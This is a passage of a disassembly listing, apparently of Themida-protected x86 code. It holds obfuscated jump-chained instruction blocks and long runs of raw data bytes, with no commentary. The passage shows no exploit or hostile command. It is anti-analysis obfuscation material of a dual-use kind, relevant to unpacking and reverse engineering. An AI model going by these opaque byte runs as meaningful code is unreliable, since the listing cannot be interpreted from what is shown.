		xchg	edx, [esp]
		pop	esp


loc_588AD4:				; CODE XREF: Themida_:0059173Bj
		push	376Ah
		mov	[esp], ebx
		push	ebx
		mov	ebx, 7EC34158h
		add	dword ptr [esp+4], 7631115h
		add	[esp+4], ebx
		sub	esp, 4
		jmp	loc_58E10C
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 56h
		dd 0BC535ABEh, 69EE814Bh, 0F711E513h, 11C2E9D6h, 8CBF0000h
		dd 8125EE6Fh, 0F149C5F7h, 0EDC78132h, 8118E00Bh, 0CDCEC7h
		dd 5FFE01D0h, 0B64BF57h, 0C7837B55h, 0EC834F01h, 243C8904h
		dd 5F240CFFh, 0BA52D7F7h, 7D1F7B90h, 0EA3C781h,	0D7294B42h
		dd 0EA3EF81h, 815A4B42h, 7486F6C7h, 8BFE01F8h, 0CCE9243Ch
		dd 59FFFFD1h, 81FFE983h, 4A397FE1h, 6E9C133h, 46FDC181h
		dd 0C8293664h, 0FFF7A2E9h
		db 0FFh
byte_588B7D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00585B38o
aS_4		db '$éš,',0
		align 2
		dw 33BDh
		dd 0E9660667h, 0FFFFD806h
; ---------------------------------------------------------------------------


loc_588B90:				; CODE XREF: Themida_:00587FB6j
		add	eax, 4
		push	eax
		jmp	loc_590C06
; ---------------------------------------------------------------------------
		db 31h
		dd 73E95FFDh, 8100007Eh, 42404h, 34FF0000h, 2434FF24h
		dd 4C4815Dh, 83000000h,	5FE904C4h, 5BFFFFD6h, 732CCF81h
		dd 0C7832B40h, 0EDE95201h, 5000004Fh, 0ED0A41B8h, 25DE92Fh
		db 2 dup(0)
word_588BDA	dw 77FFh		; DATA XREF: Themida_:00585C00o
		dd 11589D1Ch, 0E99C2404h, 0FFFFD0DBh, 38E95B66h, 0F7FFFFDCh
		dd 8E7C1DFh, 54B3E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588BFA:				; CODE XREF: Themida_:00590590j
		mov	ecx, [esp]
		jmp	loc_58F74E
; ---------------------------------------------------------------------------
		dw 0CD89h
		dd 5C38159h, 11A7827h, 5EB81EBh, 5D1A7827h, 2C381h, 0FF530000h
		dd 0FF042474h, 0E95B2434h, 0FFFFEEB4h, 8B5BDD88h, 1BE92414h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588C33:				; CODE XREF: Themida_:005884F6j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	eax, 4DD944C4h
		pop	edi
		shl	eax, cl
		jmp	loc_58F274
; ---------------------------------------------------------------------------


loc_588C53:				; CODE XREF: Themida_:0058A408j
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp


loc_588C72:				; CODE XREF: Themida_:0058D82Ej
		push	431Ch
		jmp	loc_58766E
; ---------------------------------------------------------------------------
		dd 2090C535h, 0EFFFE9EEh, 0FA29FFFFh, 78A8E95Fh, 0F1810000h
		dd 450C5FFFh, 2EEC981h,	0BE5656D6h, 6AB32B39h, 93E9h, 59CD8900h
		dd 5D9EF581h, 0D5F76F04h, 5B94C581h, 0ED81289Dh, 0F79FE905h
		dd 2C8BEB29h, 4C48324h,	1C8BDA89h, 0E7895724h, 4E0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_588CD1:				; CODE XREF: Themida_:00588108j
		push	ebp
		mov	ebp, 3D754111h
		jmp	loc_59002B
; ---------------------------------------------------------------------------
		dd 4C481h, 4050000h, 5000000h, 4, 31240433h, 4332404h
		dd 24248B24h, 0FFDD3AE9h
		db 0FFh
byte_588CFD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00585AD8o
		dd 0FF545224h, 535A2434h, 0C6A68h, 57B8E900h, 0E5C00000h
		dd 4970E902h, 55680000h, 89000053h, 8853240Ch, 8BDD88E3h
		dd 0C483241Ch, 0E97FE904h, 0E957FFFFh, 0FFFFEFB7h, 215EF131h
		dd 0C38159CBh, 0ECC4345Ah, 0E95BD829h, 0FFFFF58Dh
dword_588D4C	dd 0E9028F64h, 67C7hdword_588D54	dd 0B60F6664h, 6556802h, 0C890000h, 81E18924h, 4C1h, 4E98100h
					; DATA XREF: Themida_:00585B1Co
		dd 87000000h, 248B240Ch, 242C8924h, 174168h, 242DE900h
		dd 4050000h, 5000000h, 4, 4E88E9h, 5BD80000h, 822CF828h
		dd 241C8B66h, 1AA7E9h
		db 0
; ---------------------------------------------------------------------------


loc_588DA1:				; CODE XREF: Themida_:00586C89j
		mov	esi, 669F55AEh
		mov	eax, 6A6B8F50h
		sub	eax, esi
		pop	esi
		xor	eax, 27E94CFAh
		mov	esi, eax
		pop	eax
		push	ecx
		jmp	loc_591643
; ---------------------------------------------------------------------------
		dd 4C781h, 8680000h, 8900000Ch,	95E9242Ch, 81000017h, 662E2DF7h
		dd 24E7814Eh, 530B873Ah, 6D1289BBh, 0FDE3810Ch,	0F7101D69h
		dd 0D9C381D3h, 814AB93Fh, 5E4987EBh, 95C38136h,	29B83BE3h
		dd 0F9295BDFh, 0C2E9815Fh, 55661E32h, 8C1D0FBDh, 19AEE958h
		dd 0C15D0000h, 5BE908E5h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588E1B:				; CODE XREF: Themida_:0058A3C1j
		not	edi
		jmp	loc_58B13B
; ---------------------------------------------------------------------------
		dw 8851h
		dd 88D5F6F5h, 0CEFE59EEh, 8AAF680h, 3BE95AF1h, 21000034h
		dd 6570E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588E3E:				; CODE XREF: Themida_:00586D85j
		mov	edx, 558877ACh
		or	eax, edx
		pop	edx
		sub	eax, 52E75022h
		neg	eax
		sub	eax, 9F476C69h
		and	edx, eax
		pop	eax
		add	edx, 0FFFFFFFFh
		shl	edx, 4
		push	edi
		push	2DCBh
		mov	[esp], eax
		jmp	loc_59188B
; ---------------------------------------------------------------------------
		db 68h,	55h, 2
		dd 815F6622h, 516436EFh, 18C7813Ah, 0F70D8539h,	346C68DFh
		dd 14890000h, 5BCBBA24h, 2A6857F4h, 89000015h, 0CFF2414h
		dd 0C14A5A24h, 0F28107EAh, 5E0C235Eh, 1CD2F281h, 0D70167F6h
		dd 8324148Bh, 33E904C4h, 83000066h, 28E904C4h, 5500001Ah
		dd 4B951h, 3BE90000h, 5EFFFFFDh, 4244401h, 0CDF1E958h
		dd 2489FFFFh, 4BB5324h,	81000000h, 90042444h, 0E909D05Dh
		dd 498Fh
; ---------------------------------------------------------------------------


loc_588EE8:				; CODE XREF: Themida_:00589333j
		add	eax, 4
		push	ebp
		mov	ebp, 17940739h
		jmp	loc_5904CC
; ---------------------------------------------------------------------------
		dd 4B15166h, 5966CB28h,	8011EB80h, 0B25237C3h, 0FEDAF6D9h
		dd 81F280CAh, 80C4E280h, 96E9BEF2h, 5CFFFFF3h, 24048966h
		dd 0E628CDB4h, 24048B66h, 0FFDFB9E9h, 81DA01FFh, 0DF6007C2h
		dd 8813E967h
		db 2 dup(0)
word_588F3A	dw 55ADh		; DATA XREF: Themida_:00585C2Co
		dd 923532BDh, 58F12D2Bh, 0E8294E53h, 5358F105h,	242C8B4Eh
		dd 5604C483h, 3715B7BEh, 5EF02917h, 726DBE56h, 0F0013F53h
		dd 2DD8295Eh, 3F53726Dh, 437EBD55h, 0EDE961EDh,	5C000019h
		dd 83242489h, 5F042404h, 4C781h, 0EF810000h, 4,	5C243C87h
		dd 54240489h, 582434FFh, 504C483h, 4, 0FFF01CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_588FA5:				; CODE XREF: Themida_:00589CBAj
		add	ebp, 0E1E51EDAh
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58F949
; ---------------------------------------------------------------------------


loc_588FB8:				; CODE XREF: Themida_:0058AE6Dj
		sub	esp, 4
		jmp	loc_586640
; ---------------------------------------------------------------------------
		db 28h
		dd 241C8BDDh, 4C481h, 0EB280000h, 81240C8Bh, 4C4h, 1D6F6800h
		dd 14890000h, 4EC8324h,	0E9240C89h, 8704h, 89240C89h, 6BBD55E1h
		dd 4559B50Dh, 320E9h, 241C2900h, 629CE9h, 5AD00100h, 0E952C331h
		dd 8837h
; ---------------------------------------------------------------------------


loc_589010:				; CODE XREF: Themida_:00586EB6j
		mov	al, 4Bh
		mov	ch, al
		pop	eax
		xor	ch, 0F2h
		add	al, ch
		jmp	loc_589EF7
; ---------------------------------------------------------------------------
aS_5		db '(Ëé¿<',0
		align 2
		dw 0C231h
		dd 0FFCC96E9h, 4EC81FFh, 89000000h, 0A7BA2414h,	42365F6Dh
		dd 0C108E2C1h, 0E28102EAh, 265E56D9h, 2479EA81h, 0C2814B69h
		dd 76765CD7h, 0E95AD329h, 3CEEh, 0D8282BB3h, 5B79E9h, 8BE68800h
		dd 0C4812404h, 4, 4EC8159h, 0E9000000h,	7A65h, 46EB81h
		dd 0C3291285h, 46C381h,	0C3811285h, 39E2516Eh, 0FA63E953h
		dd 0C581FFFFh, 4, 4BB53h, 0DD010000h, 3B47685Bh, 2C890000h
		dd 2474FF24h, 7810E904h, 0E95C0000h, 158Eh, 4C581h, 0C5830000h
		dd 0B3E95502h, 58FFFFDDh, 2209E9h, 0E9F00000h, 0FFFFF1A8h
; ---------------------------------------------------------------------------


loc_5890D8:				; CODE XREF: Themida_:0058850Fj
		add	esp, 2
		xor	bl, al
		jmp	loc_58DFCE
; ---------------------------------------------------------------------------
		dw 0FE29h
		dd 7251E9h
		db 0
; ---------------------------------------------------------------------------


loc_5890E9:				; CODE XREF: Themida_:0058F2ECj
		push	edx
		jmp	loc_587533
; ---------------------------------------------------------------------------
		db 0BFh
		dd 5DC40FCBh, 5A0940B9h, 5FF901E3h, 0E959CA01h,	227h, 0E77EE956h
		dd 34FFFFFFh, 24348B24h, 73C4E952h, 55F0000h, 643464CAh
		dd 0FFDE0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589121:				; CODE XREF: Themida_:0058E3D4j
		dec	ch
		shl	ch, 7
		add	ch, 5Fh
		push	dx
		mov	dl, 7Bh
		xor	ch, dl
		jmp	loc_5901BF
; ---------------------------------------------------------------------------
		dd 68241C89h, 3743h, 56241489h,	2B30E95Ah, 0EFC00000h
		dd 6E7C003h, 0FBF780h, 241C8BF8h, 4463E9h, 24348900h, 0E9241487h
		dd 80D1h
dword_589164	dd 8904EC83h, 99BD242Ch, 0C14CF74Ch, 0E5C104EDh, 449EE902h
					; DATA XREF: Themida_:00585BB4o
		dd 89560000h, 0E1BD55E6h, 0E955212Ch, 0FFFFF104h, 57A6E955h
		dd 895C0000h, 8957241Ch, 4C781E7h, 83000000h, 3C8704EFh
		dd 2C895C24h, 0A9BF5724h, 0F71BA141h, 0D6F781D7h, 8129AA3Bh
		dd 0B27F34C7h, 9AE95675h, 17h, 0E98BE9EBh, 0DE89FFFFh
		dd 52241C8Bh, 0AE9E289h, 52000040h, 0C281E289h,	4, 2EA81h
		dd 0B2E90000h, 30000007h, 3C5FE9D5h, 835B0000h,	0FF5004C4h
		dd 58042474h, 0FFCC5BE9h, 405FFh, 42D0000h, 87000000h
		dd 68E92404h
		db 0FDh, 2 dup(0FFh)
byte_58920F	db 66h			; DATA XREF: Themida_:00585BECo
		dd 81240C8Bh, 4ECh, 24348900h, 0C868E689h, 89000062h, 0F0BA2414h
		dd 4A3F253Ah, 4CBFBD55h, 0EA091DB7h, 6005E9h, 2FB55100h
		dd 0E952B050h, 729Dh
dword_589244	dd 24048B66h, 55E68956h, 0D413FDBDh, 41BA5274h,	8364124Bh
					; DATA XREF: Themida_:00585A34o
		dd 0BD5501C2h, 13502103h, 57C9ED81h, 0EA015FDAh, 5AD5215Dh
		dd 8904EC83h, 44682434h, 5E2FDE18h, 815EF509h, 0F86D56C5h
		dd 83F58176h, 8112C637h, 10B24DEDh, 0DC6BE9A4h,	0C601FFFFh
		dd 750EE9h, 52E78900h, 4BAh, 0EFC78100h, 0E9420861h, 0FFFFD0B6h
; ---------------------------------------------------------------------------


loc_5892AC:				; CODE XREF: Themida_:00586193j
		push	edi
		mov	edi, 18FC5DD2h
		jmp	loc_589F4B
; ---------------------------------------------------------------------------


loc_5892B7:				; CODE XREF: Themida_:00587BFBj
		push	edi
		mov	edi, 34234996h
		add	ebx, edi
		pop	edi
		mov	ecx, ebx
		jmp	loc_590E66
; ---------------------------------------------------------------------------


loc_5892C7:				; CODE XREF: Themida_:005873D5j
		push	ebx
		mov	bl, 0D0h
		and	bl, 46h
		shl	bl, 8
		neg	bl
		neg	bl
		inc	bl
		xor	bl, 0B6h
		jmp	loc_5876DB
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 1, 5E6E9h, 0BD555800h, 2, 46E2E9h, 2434FF00h, 582434FFh
		dd 815B5453h, 4C3h, 0BD555100h,	4, 15DE989h, 0FF5359CBh
		dd 5B042474h, 754EE9h, 4EC8100h, 89000000h, 29E92404h
		dd 42000042h, 4C4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_589331:				; CODE XREF: Themida_:00591748j
		push	esp
		pop	eax
		jmp	loc_588EE8
; ---------------------------------------------------------------------------
		dd 5504E2C1h, 7C4DE953h
		db 2 dup(0)
word_589342	dw 0AD66h		; DATA XREF: Themida_:00585AC4o
		dd 55D83166h, 1443E9h, 2414F700h, 0FFEE2EE9h
		db 0FFh
byte_589355	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00585C34o
		dd 0FF2434FFh, 83582434h, 545304C4h, 0F3F5E95Bh, 0BF57FFFFh
		dd 4, 0E95FFD01h, 0FFFFD545h
; ---------------------------------------------------------------------------


loc_589378:				; CODE XREF: Themida_:0058B141j
		xor	ebx, edi
		jmp	loc_58B64A
; ---------------------------------------------------------------------------
		db 81h
		dd 8A1E6CF1h, 68D9F744h, 71D6h,	0FFF447E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589391:				; CODE XREF: Themida_:00588853j
		push	ebp
		push	esi
		push	68ED32BEh
		pop	esi
		xor	esi, 58E03752h
		mov	ebp, esi
		pop	esi
		jmp	loc_591974
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 4E05E904h, 0EC810000h, 4, 0FFE220E9h, 67F681FFh
		dd 14F1546h, 2434FFF2h,	8124348Bh, 4C4h, 0E0895000h, 405h
		dd 4C08300h, 5C240487h,	2C281h,	14330000h, 24143124h, 8B241433h
		dd 8B662424h, 54522404h, 8124148Bh, 4C4h, 0D095E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589406:				; CODE XREF: Themida_:0058C069j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_590B7D
; ---------------------------------------------------------------------------
		dd 4C281h, 14870000h, 24248B24h, 8B2434FFh, 0C4812404h
		dd 4, 0E9E38953h, 64F0h
; ---------------------------------------------------------------------------


loc_589438:				; CODE XREF: Themida_:00591310j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	5E42h
		mov	[esp], ebx
		mov	ebp, [esp]
		push	5A2Ah
		jmp	loc_58C7C0
; ---------------------------------------------------------------------------


loc_589454:				; CODE XREF: Themida_:00587265j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58F1E7
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0A8h
		dd 0C165BC4Fh, 36E905E6h, 5A000079h, 5C24048Fh,	4244C29h
		dd 68515859h, 3EACh, 340EE9h, 0E6F18100h, 15FBE23h, 240C8BCBh
		dd 8904EC83h, 0E589242Ch, 4C581h, 0C5810000h, 4, 8B242C87h
		dd 0EB812424h, 2, 0D57E9h, 4C78100h, 81000000h,	4C7h, 243C8700h
		dd 0FFE9215Ch, 2C8B2434h, 0E3895324h, 84C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5894D1:				; CODE XREF: Themida_:00590335j
		add	ebp, 4
		jmp	loc_58D380
; ---------------------------------------------------------------------------
		dd 0E9C2015Ah, 4BB8h, 81DEF74Eh, 69145FEEh, 73F68100h
		dd 29EE378Ah, 0EA815EF2h, 6CA31D33h, 0E317B951h, 0CA0186E8h
		dd 0FFF4E6E9h, 1EE95DFFh, 8FFFFFDBh, 248B2404h,	24896624h
		dd 0CEDAE924h, 0D8F6FFFFh, 0FFE676E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589525:				; CODE XREF: Themida_:0058C097j
		add	esp, 4
		sub	edx, 391E1D9Ah
		add	edx, edi
		add	edx, 391E1D9Ah
		jmp	loc_5912A4
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4BE56h, 0F7290000h, 243C875Eh, 0E120E95Ch, 5152FFFFh
		dd 8832B252h, 0EE885AD5h, 29A2E959h
		db 2 dup(0)
word_589566	dw 0E950h		; DATA XREF: Themida_:00585B4Co
		dd 0FFFFD7DDh, 7764E955h, 0C8B0000h, 0E1895124h, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 6B7A68h, 24348900h, 42474FFh
		dd 24048F5Eh, 0FF24248Bh, 53582434h, 142AE9h, 247C0100h
		dd 243C8B04h, 81E38953h, 4C3h, 4C38100h, 87000000h, 815C241Ch
		dd 3794242Ch, 0F8E9003Ah, 51FFFFC6h, 291F94B9h,	59CB010Dh
		dd 2AB3EB81h, 0EB811510h, 34CF2876h, 51DCC381h,	0BE5638A7h
		dd 560126F2h, 62CBBF57h, 0DFF70914h, 73FEE9h
		db 0
byte_5895F9	db 66h,	8Bh, 4		; DATA XREF: Themida_:00585A48o
		dd 3FC6824h, 1C890000h,	4EC8324h, 0FFF8C5E9h, 82E581FFh
		dd 0E925D433h, 1F53h, 0B30F665Ch, 0E99C2404h, 0FFFFC69Fh
		dd 685FF831h, 290Dh, 4828E9h, 22E98100h, 0E916802Ah, 79C6h
; ---------------------------------------------------------------------------


loc_58963C:				; CODE XREF: Themida_:00591542j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_58ABCD
; ---------------------------------------------------------------------------
		dd offset dword_5DC380
aIaiAiYSn	db 'ë€ë]€ë~Y(Ãén!',0
		align 2
		dw 8F5Dh
		dd 10682404h, 0E9000015h, 0FFFFC661h, 42E9F301h
		db 44h,	2 dup(0)
byte_58966F	db 66h			; DATA XREF: Themida_:00585BDCo
		dd 0E924048Bh, 2F1Ch, 0C685966h, 89000074h, 89512414h
		dd 69C4E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58968A:				; CODE XREF: Themida_:00587D43j
		pop	esp
		or	eax, eax
		jnz	loc_590207
		push	eax
		push	144h
		mov	[esp], edi
		mov	edi, 3D6C7792h
		jmp	loc_589D72
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 0E9000000h, 1A7Eh, 23483DBDh, 0E9EE013Dh, 65B9h, 4C0DC181h
		dd 0E98136D0h, 32D1611Ah, 0E9591988h, 0FFFFCE73h, 8106EFC1h
		dd 411B9DEFh, 5FF82984h, 5A2434FFh, 1935E9h, 24348700h
		dd 3031E95Ch, 0C5810000h, 4D0382Eh, 37F9CD81h, 0DDF74475h
		dd 41E8E950h, 1C330000h, 241C3124h, 5C241C33h, 54240489h
		dd 0FFCC02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589715:				; CODE XREF: Themida_:0058973Fj
		xor	eax, 317D6E4Dh
		shr	eax, 2
		push	ecx
		mov	ecx, 7E075823h
		inc	ecx
		xor	ecx, 30EC5647h
		shr	ecx, 8
		add	ecx, 0CEEBC44Ah
		add	eax, ecx
		jmp	loc_58BDFB
; ---------------------------------------------------------------------------


loc_58973A:				; CODE XREF: Themida_:0058EAC2j
		or	eax, 4499446Eh
		jmp	loc_589715
; ---------------------------------------------------------------------------
		dd 24048F5Dh, 6624248Bh, 2404B30Fh, 0C56DE99Ch,	0C501FFFFh
		dd 8BE80958h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_58ADFF
; ---------------------------------------------------------------------------
		dw 21BBh
		dd 31655C62h, 0D80158C3h, 31BCE9h, 0E9535100h, 572h, 685A5452h
		dd 12E0h, 0BE243489h, 4F154662h, 2404FF56h, 6C78E9h, 0E9D2B100h
		dd 7011h, 5F80159h, 283508E7h, 8B088B5Fh, 89502404h, 405E0h
		dd 0C0830000h, 2F9E904h, 0D9290000h, 0C875F5Bh,	24248B24h
		dd 0F66F1F6h, 97E9CCB6h, 1FFFFD8h, 2434FFFEh, 4C4815Fh
		dd 0E9000000h, 0B52h, 11CC381h,	5D5D0CBDh, 515FEA81h, 0EA8179C3h
		dd 57A36863h, 4F76BD55h, 0ED812A2Fh, 0B597F59Ah, 535DEA01h
		dd 4C75C4BBh, 99CB816Eh, 4B253A51h, 5456EB81h, 0DA2912BAh
		dd 81C2015Bh, 0C42186C2h, 0DCB8505Ch, 29749759h, 525058C2h
		dd 6863B850h, 0C28957A3h, 0FFCEA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589839:				; CODE XREF: Themida_:0058E1E5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shl	esi, 6
		shr	esi, 1
		xor	esi, 3546D020h
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	eax, [esp]
		xchg	eax, ecx
		not	ecx
		push	567Ah
		mov	[esp], eax
		push	6E4Bh
		mov	[esp], ecx
		pop	eax
		pop	ecx
		push	1251h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_586B38
; ---------------------------------------------------------------------------


loc_589889:				; CODE XREF: Themida_:005868B8j
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	eax
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		sub	dword ptr [esp+4], 577217EDh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 577217EDh
		pop	ebp
		jmp	loc_58AE6C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 6CE92104h, 33000027h, 15E9241Ch, 81FFFFE8h, 255E76C2h
		dd 8BD38931h, 0C4832414h, 5CC78104h, 2949560Ch,	5CEF81DFh
		dd 5B49560Ch, 0FFFF6851h, 0E959FFFFh, 1B77h, 0E904C383h
		dd 7C83h, 0B16A3CB9h, 59C8294Eh, 5FAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58990D:				; CODE XREF: Themida_:0058D246j
		shl	ecx, 7
		jmp	loc_58697E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 7BF4B850h, 0D0F71939h, 0B409FF35h, 208F0D35h, 0E0C12769h
		dd 7D940508h, 0C501A4ABh, 520BE9h, 4EC8100h, 89000000h
		dd 4BE2434h, 1000000h, 0DEE95EF3h, 5EFFFFE1h, 0DACB8143h
		dd 8135035Eh, 342006C3h, 218CE900h, 2D5E0000h, 4, 8B240487h
		dd 14892424h, 1B85024h,	89000000h, 570958C2h, 2434FF1Ch
		dd 0F5E9565Ah, 55000046h, 42474FFh, 24048F5Dh, 242C895Ch
		dd 0AF3E9h, 24148700h, 1C89665Ch, 8394B324h, 1C8904ECh
		dd 32006824h, 14890000h, 0E968B624h, 645Ah
dword_5899B8	dd 0FF2434FFh, 48B2434h, 4C48324h, 0BBE95455h, 8900000Ah
					; DATA XREF: Themida_:005859E8o
		dd 0F5E92414h, 89000004h, 74FF241Ch, 1C8B0424h,	4C48324h
		dd 0FFFB2AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5899E5:				; CODE XREF: Themida_:00586913j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58FEEA
; ---------------------------------------------------------------------------
byte_5899F3	db 0F7h			; DATA XREF: Themida_:005859F4o
		dd 0E99C241Ch, 0FFFFC2C7h
dword_5899FC	dd 0C0E9028Fh, 81FFFFC2h, 4C6h,	4EE8100h, 87000000h, 895C2434h
					; DATA XREF: Themida_:00585C54o
		dd 0F0BE2434h, 8125FF42h, 482DD2C6h, 0C6814E7Ch, 9EFAE40Bh
		dd 5934E9h, 0DCE95000h,	8BFFFFCCh, 0A0E9240Ch, 66FFFFCAh
		dd 66635368h, 66240C89h, 66241431h, 66241433h, 66241431h
		dd 5266D2F7h, 2474FF66h, 665A6602h, 6624048Fh, 0C316659h
		dd 0C336624h, 0C316624h, 0C251E924h, 27BEFFFFh,	1FB83E7h
		dd 0BFE95BDEh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589A7F:				; CODE XREF: Themida_:0059164Ej
		pop	ebp
		or	ebp, 411A521Fh
		neg	ebp
		jmp	loc_587808
; ---------------------------------------------------------------------------


loc_589A8D:				; CODE XREF: Themida_:00591B7Bj
		add	ebx, edi
		pop	edi
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_587D1C
; ---------------------------------------------------------------------------
		db 58h
		dd 0FAE9D6F6h, 87FFFFCCh, 0E95C2404h, 215Ah, 0FFC202E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589AC1:				; CODE XREF: Themida_:0059072Cj
		or	dh, 1
		or	dh, 53h
		shr	dh, 1
		xor	dh, 13h
		jmp	loc_58A61A
; ---------------------------------------------------------------------------


loc_589AD1:				; CODE XREF: Themida_:00586FDCj
		xor	esi, 5EF341A4h
		sub	ebp, esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		push	34D2h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_58D28C
; ---------------------------------------------------------------------------


loc_589AF5:				; CODE XREF: Themida_:0058B9B4j
		mov	ecx, 42772C2Ah
		xor	ecx, 2B6572A6h
		jmp	loc_590088
; ---------------------------------------------------------------------------
		db 0B9h, 0CDh, 2Bh
		dd 57417FCDh, 6A52AABFh, 7FC18108h, 0E93EDE40h,	58F6h
		dd 4D03BF57h, 0DFF76AE2h, 0F747DFF7h, 0F9F781D7h, 81951DB2h
		dd 176F04C3h, 0D1EB8108h, 0E9337814h, 11D9h, 5253D830h
		dd 0DAF63FB2h, 0CFB75366h, 95E9FA30h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589B53:				; CODE XREF: Themida_:00590E61j
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_58CBFA
; ---------------------------------------------------------------------------


loc_589B5C:				; CODE XREF: Themida_:0058A997j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_588423
; ---------------------------------------------------------------------------


loc_589B6A:				; CODE XREF: Themida_:0058C6CDj
		pop	edx
		jmp	loc_58C15D
; ---------------------------------------------------------------------------


loc_589B70:				; CODE XREF: Themida_:00589BE1j
		sub	esi, 0F127DF05h
		add	edi, esi
		pop	esi
		pop	ebp
		push	eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5866E6
; ---------------------------------------------------------------------------


loc_589B91:				; CODE XREF: Themida_:00585EE9j
		pop	eax
		pop	esi
		xchg	edi, [esp]
		pop	esp
		push	6684h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_58F930
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 83243C8Bh, 0BA5204C4h, 4EB16A3Ch, 1204AC05h,	1DF8057Ch
		dd 0D0015098h, 5CD6E9h
		db 0
; ---------------------------------------------------------------------------


loc_589BD5:				; CODE XREF: Themida_:00591A8Ej
		sub	esi, 2D167942h
		or	esi, 5A552D66h
		jmp	loc_589B70
; ---------------------------------------------------------------------------


loc_589BE6:				; CODE XREF: Themida_:00586C65j
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_591B12
; ---------------------------------------------------------------------------


loc_589BFB:				; CODE XREF: Themida_:0058FBD1j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	5CECh
		mov	[esp], eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		jmp	loc_58D0D3
; ---------------------------------------------------------------------------


loc_589C1B:				; CODE XREF: Themida_:0058D424j
		xor	ecx, 984105h
		push	ecx
		jmp	loc_58F6DD
; ---------------------------------------------------------------------------
		db 81h
		dd 5A2A3EE9h, 59CE0124h, 2C0268h, 474FE900h, 0A3BA0000h
		dd 31347B32h, 0C8295AD1h, 0EC69E959h, 42DFFFFh,	87000000h
		dd 545C2404h, 6824048Fh, 48Eh, 44D6E9h,	243C8900h, 0D0B94BFh
		dd 0BA52515Fh, 21AA2D95h, 2C4CE9h, 24148B00h, 4C481h, 0F2810000h
		dd 64862DDDh, 352FE9h, 2A66BD00h, 6F293467h, 2434FF20h
		dd 0E789575Dh, 0FFC557E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589C9D:				; CODE XREF: Themida_:0058E67Ej
		add	ecx, 71F57B38h
		add	ecx, ebx
		sub	ecx, 71F57B38h
		pop	ebx
		jmp	loc_58FE63
; ---------------------------------------------------------------------------


loc_589CB1:				; CODE XREF: Themida_:0058DE41j
		pop	ecx
		add	esp, 4
		shr	ebp, 1
		jmp	loc_588FA5
; ---------------------------------------------------------------------------


loc_589CBF:				; CODE XREF: Themida_:0058BC07j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58D522
; ---------------------------------------------------------------------------
